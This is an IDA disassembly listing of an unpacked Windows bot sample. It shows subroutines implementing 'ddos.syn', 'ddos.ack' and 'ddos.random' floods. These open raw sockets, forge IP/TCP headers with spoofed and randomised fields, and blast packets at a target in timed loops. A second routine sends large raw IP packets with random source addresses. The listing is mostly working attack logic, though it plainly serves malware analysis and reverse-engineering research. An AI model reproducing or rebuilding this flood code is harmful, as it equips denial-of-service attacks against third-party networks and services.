;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	5984F2A1D3B4E4B8015DD817222429E4

; File Name   :	u:\work\5984f2a1d3b4e4b8015dd817222429e4_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 0006E000 ( 450560.)
; Section size in file		: 0006E000 ( 450560.)
; Offset to raw	data for section: 00001000
; Flags	F00000C0: Data Bss Shareable Executable	Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_nsp0		segment	para public 'CODE' use32
		assume cs:_nsp0
		;org 401000h
		assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; DATA XREF: sub_40CE55+38E0o
					; .nsp1:0046F084o

var_494		= byte ptr -494h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_20C		= byte ptr -20Ch
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 494h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0A5h
		mov	esi, eax
		lea	edi, [ebp+var_294]
		rep movsd
		mov	dword ptr [eax+290h], 1
		call	dword_42104C	; GetTickCount
		push	eax
		call	sub_415539
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4013E9
		push	eax
		lea	eax, [ebp+var_494]
		push	offset unk_423050
		push	eax
		call	sub_4154E7
		xor	esi, esi
		add	esp, 20h
		cmp	[ebp+var_8], esi
		jnz	short loc_401090
		push	esi
		lea	eax, [ebp+var_494]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	[ebp+var_294]
		call	sub_412D4C
		add	esp, 14h


loc_401090:				; CODE XREF: sub_401000+6Ej
		lea	eax, [ebp+var_494]
		push	eax
		call	sub_40B16D
		push	[ebp+var_290]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread
		pop	edi
		pop	esi
sub_401000	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4010B2	proc near		; CODE XREF: sub_4013E9+40p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_43A310	; WSAStartup
		test	eax, eax
		jz	short loc_4010F2
		xor	eax, eax
		jmp	loc_4013E5
; ---------------------------------------------------------------------------


loc_4010F2:				; CODE XREF: sub_4010B2+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_43A43C	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_4013DD
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_43A378	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_4013D3
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_43A398	; ntohs
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_43A398	; ntohs
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_43A398	; ntohs
		mov	[ebp+var_12], ax
		call	sub_415543
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_43A398	; ntohs
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_43A394	; ntohl
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011C2
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_401216
; ---------------------------------------------------------------------------


loc_4011C2:				; CODE XREF: sub_4010B2+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011DE
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_401216
; ---------------------------------------------------------------------------


loc_4011DE:				; CODE XREF: sub_4010B2+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401216
		call	sub_415543
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_415543
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl


loc_401216:				; CODE XREF: sub_4010B2+10Ej
					; sub_4010B2+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_43A398	; ntohs
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		call	dword_421054	; QueryPerformanceFrequency
		lea	eax, [ebp+var_1C]
		push	eax
		call	dword_421050	; QueryPerformanceCounter
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_4159A0
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx


loc_401264:				; CODE XREF: sub_4010B2+2E2j
					; sub_4010B2+2F0j
		mov	[ebp+var_4], bx
		call	sub_415543
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_43A398	; ntohs
		mov	[ebp+var_14], ax
		call	sub_415543
		mov	edi, eax
		shl	edi, 10h
		call	sub_415543
		or	edi, eax
		push	edi
		call	dword_43A398	; ntohs
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_43A394	; ntohl
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_43A398	; ntohs
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40A1CA
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4155D0
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_415570
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40A1CA
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_4155D0
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_43A3FC	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013A7
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	dword_421050	; QueryPerformanceCounter
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_4013D0
		jl	loc_401264
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_4013D0
		jmp	loc_401264
; ---------------------------------------------------------------------------


loc_4013A7:				; CODE XREF: sub_4010B2+2CBj
		call	dword_43A32C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset unk_42308C
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_40B16D
		add	esp, 10h
		jmp	short loc_4013D3
; ---------------------------------------------------------------------------


loc_4013D0:				; CODE XREF: sub_4010B2+2E0j
					; sub_4010B2+2EEj
		mov	ebx, [ebp+arg_8]


loc_4013D3:				; CODE XREF: sub_4010B2+78j
					; sub_4010B2+31Cj
		push	[ebp+var_20]
		call	dword_43A430	; closesocket
		pop	esi


loc_4013DD:				; CODE XREF: sub_4010B2+5Bj
		call	dword_43A2F8	; WSACleanup
		mov	eax, ebx


loc_4013E5:				; CODE XREF: sub_4010B2+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_4010B2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4013E9	proc near		; CODE XREF: sub_401000+4Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40A05B
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_415A5F
		push	[esp+14h+arg_C]
		mov	ebx, eax
		call	sub_415A5F
		mov	edi, eax
		call	sub_415543
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	[esp+20h+arg_8]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_4010B2
		add	esp, 20h
		test	eax, eax
		jnz	short loc_401438
		push	1
		pop	eax


loc_401438:				; CODE XREF: sub_4013E9+4Aj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4013E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401447	proc near		; DATA XREF: sub_40CE55+3AC8o

var_3BC		= byte ptr -3BCh
var_1BC		= dword	ptr -1BCh
var_1B8		= byte ptr -1B8h
var_138		= byte ptr -138h
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3BCh
		push	ebx
		push	esi
		mov	eax, [ebp+arg_0]
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1BC]
		push	1
		pop	ebx
		push	0FFh
		push	3
		rep movsd
		push	2
		mov	[eax+19Ch], ebx
		call	dword_43A418	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_4014E2
		call	dword_43A32C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_42322C


loc_401495:				; DATA XREF: .nsp0:off_424D5Co
					; .nsp0:off_425D04o
		push	eax
		call	sub_4154E7
		xor	edi, edi
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_4014C5
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_412D4C
		add	esp, 14h


loc_4014C5:				; CODE XREF: sub_401447+5Cj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40B16D
		push	[ebp+var_38]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	edi
		call	dword_421048	; ExitThread


loc_4014E2:				; CODE XREF: sub_401447+3Aj
		lea	ecx, [ebp+var_C]
		push	4
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp+var_C], ebx
		call	dword_43A378	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401559
		call	dword_43A32C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_4231E0
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_40153C
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_412D4C
		add	esp, 14h


loc_40153C:				; CODE XREF: sub_401447+D3j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40B16D
		push	[ebp+var_38]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	edi
		call	dword_421048	; ExitThread


loc_401559:				; CODE XREF: sub_401447+B3j
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_43A3D8	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4015C0
		lea	eax, [ebp+var_3BC]
		push	offset unk_4231AC
		push	eax
		call	sub_4154E7
		cmp	[ebp+var_24], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4015A3
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_412D4C
		add	esp, 14h


loc_4015A3:				; CODE XREF: sub_401447+13Aj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40B16D
		push	[ebp+var_38]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	edi
		call	dword_421048	; ExitThread


loc_4015C0:				; CODE XREF: sub_401447+122j
		push	10h
		lea	eax, [ebp+var_1C]
		push	edi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	edi
		call	dword_43A398	; ntohs
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_43A3D8	; inet_addr
		mov	esi, dword_42104C
		mov	[ebp+var_18], eax
		mov	[ebp+arg_0], edi
		call	esi	; GetTickCount
		mov	[ebp+var_8], eax


loc_4015FE:				; CODE XREF: sub_401447+2E8j
		call	esi	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_30]
		ja	loc_4017A9
		push	41Ch
		mov	byte_438B98, 45h
		call	dword_43A398	; ntohs
		cmp	[ebp+var_2C], edi
		mov	word_438B9A, ax
		mov	word_438B9C, bx
		mov	word_438B9E, di
		mov	byte_438BA0, 80h
		mov	byte_438BA1, bl
		mov	word_438BA2, di
		jz	short loc_401684
		call	sub_415543
		mov	ebx, eax
		shl	ebx, 8
		call	sub_415543
		add	ebx, eax
		shl	ebx, 8
		call	sub_415543
		add	ebx, eax
		shl	ebx, 8
		call	sub_415543
		add	ebx, eax
		push	1
		mov	dword_438BA4, ebx
		pop	ebx
		jmp	short loc_40169C
; ---------------------------------------------------------------------------


loc_401684:				; CODE XREF: sub_401447+20Bj
		push	[ebp+var_1BC]
		call	sub_40A171
		pop	ecx
		push	eax
		call	dword_43A3D8	; inet_addr
		mov	dword_438BA4, eax


loc_40169C:				; CODE XREF: sub_401447+23Bj
		mov	eax, [ebp+var_18]
		mov	dword_438BA8, eax
		call	sub_415543
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_438BAC, dl
		call	sub_415543
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_438BAD, dl
		call	sub_415543
		cdq
		mov	ecx, 0F0h
		push	400h
		idiv	ecx
		mov	word_438BAE, di
		mov	word_438BB2, bx
		inc	edx
		mov	word_438BB0, dx
		call	sub_415543
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		push	edx
		push	offset dword_438BB4
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	edi
		push	41Ch
		push	offset byte_438B98
		push	[ebp+var_4]
		call	dword_43A3FC	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401734
		inc	[ebp+arg_0]
		jmp	loc_4015FE
; ---------------------------------------------------------------------------


loc_401734:				; CODE XREF: sub_401447+2E3j
		push	[ebp+var_4]
		call	dword_43A430	; closesocket
		call	dword_43A32C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_423148
		lea	eax, [ebp+var_3BC]
		push	200h
		push	eax
		call	sub_415A6A
		add	esp, 18h
		cmp	[ebp+var_24], edi
		jnz	short loc_40178C
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_412D4C
		add	esp, 14h


loc_40178C:				; CODE XREF: sub_401447+323j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40B16D
		push	[ebp+var_38]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	edi
		call	dword_421048	; ExitThread


loc_4017A9:				; CODE XREF: sub_401447+1C8j
		push	[ebp+var_4]
		call	dword_43A430	; closesocket
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_30]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_4230E4
		push	eax
		call	sub_4154E7
		add	esp, 1Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_401811
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_412D4C
		add	esp, 14h


loc_401811:				; CODE XREF: sub_401447+3A8j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40B16D
		push	[ebp+var_38]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	edi
		call	dword_421048	; ExitThread
sub_401447	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40182E	proc near		; DATA XREF: sub_40CE55+37D1o

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_401B7C
		push	eax
		lea	eax, [ebp+var_414]
		push	offset dword_423274
		push	eax
		call	sub_4154E7
		xor	esi, esi
		add	esp, 18h
		cmp	[ebp+var_8], esi
		jnz	short loc_4018AB
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_412D4C
		add	esp, 14h


loc_4018AB:				; CODE XREF: sub_40182E+5Bj
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_40B16D
		push	[ebp+var_10]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread
		pop	edi
		pop	esi
sub_40182E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4018CA	proc near		; CODE XREF: sub_401B7C+3Cp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_43A310	; WSAStartup
		test	eax, eax
		jz	short loc_40190A
		xor	eax, eax
		jmp	loc_401B78
; ---------------------------------------------------------------------------


loc_40190A:				; CODE XREF: sub_4018CA+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_43A43C	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_401B70
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_43A378	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_401B66
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_43A398	; ntohs
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_43A398	; ntohs
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_43A398	; ntohs
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_43A398	; ntohs
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		call	dword_421054	; QueryPerformanceFrequency
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_421050	; QueryPerformanceCounter
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_4159A0
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_4019F5:				; CODE XREF: sub_4018CA+25Dj
					; sub_4018CA+26Bj
		mov	[ebp+var_24], bx
		call	sub_415543
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_43A398	; ntohs
		mov	[ebp+var_34], ax
		call	sub_415543
		mov	edi, eax
		shl	edi, 10h
		call	sub_415543
		or	edi, eax
		push	edi
		call	dword_43A398	; ntohs
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_43A394	; ntohl
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_43A398	; ntohs
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40A1CA
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4155D0
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_415570
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40A1CA
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_4155D0
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_43A3FC	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401B3A
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_421050	; QueryPerformanceCounter
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_401B63
		jl	loc_4019F5
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_401B63
		jmp	loc_4019F5
; ---------------------------------------------------------------------------


loc_401B3A:				; CODE XREF: sub_4018CA+247j
		call	dword_43A32C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_4232B0
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_40B16D
		add	esp, 10h
		jmp	short loc_401B66
; ---------------------------------------------------------------------------


loc_401B63:				; CODE XREF: sub_4018CA+25Bj
					; sub_4018CA+269j
		mov	ebx, [ebp+arg_8]


loc_401B66:				; CODE XREF: sub_4018CA+78j
					; sub_4018CA+297j
		push	[ebp+var_C]
		call	dword_43A430	; closesocket
		pop	esi


loc_401B70:				; CODE XREF: sub_4018CA+5Bj
		call	dword_43A2F8	; WSACleanup
		mov	eax, ebx


